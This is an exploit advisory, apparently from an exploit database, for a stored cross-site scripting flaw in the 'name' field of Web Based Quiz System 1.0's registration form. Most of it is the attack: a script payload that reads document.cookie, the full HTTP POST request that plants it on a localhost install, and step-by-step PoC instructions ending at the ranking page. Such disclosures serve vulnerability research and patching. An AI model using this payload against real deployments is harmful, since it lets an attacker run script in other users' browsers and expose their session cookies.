60 lines
No EOL
2.3 KiB
Text
60 lines
No EOL
2.3 KiB
Text
# Exploit Title: Web Based Quiz System 1.0 - 'name' Persistent/Stored Cross-Site Scripting
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# Date: 2021-03-02
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# Exploit Author: P.Naveen Kumar
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# Vendor Homepage: https://www.sourcecodester.com
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# Software Download Link : https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
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# Software : Web Based Quiz System
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# Version : 1.0
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# Vulnerability Type : Cross-site Scripting
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# Vulnerability : Persistent/Stored XSS
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# Tested on: Windows 10 Pro
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# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe
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# in registration form in name parameter affected from this vulnerability.
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# payload: <script>alert(document.cookie)</script>
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# HTTP POST request
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POST http://localhost:8080/quiz/register.php HTTP/1.1
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Host: localhost:8080
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data; boundary=---------------------------283640616528311462411171270636
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Content-Length: 690
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Origin: http://localhost:8080
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Connection: keep-alive
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Referer: http://localhost:8080/quiz/register.php
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Cookie: PHPSESSID=ptujqhbkupjsqjkqs7tjhnb5er
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Upgrade-Insecure-Requests: 1
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-----------------------------283640616528311462411171270636
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Content-Disposition: form-data; name="name"
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<script>alert(document.cookie)</script>
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-----------------------------283640616528311462411171270636
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Content-Disposition: form-data; name="email"
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test123@gmail.com
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-----------------------------283640616528311462411171270636
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Content-Disposition: form-data; name="password"
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Hacker
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-----------------------------283640616528311462411171270636
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Content-Disposition: form-data; name="college"
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hello
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-----------------------------283640616528311462411171270636
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Content-Disposition: form-data; name="submit"
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-----------------------------283640616528311462411171270636--
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POC:
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# go to url http://localhost:8080/quiz/register.php
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# then you have to fill the above payload in name/username parameter
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# then fill the remaining details
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# then click submit
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# then login to user account
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# then attempt any one quiz after attempting go to ranking section then
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# you can see xss pop up there..! |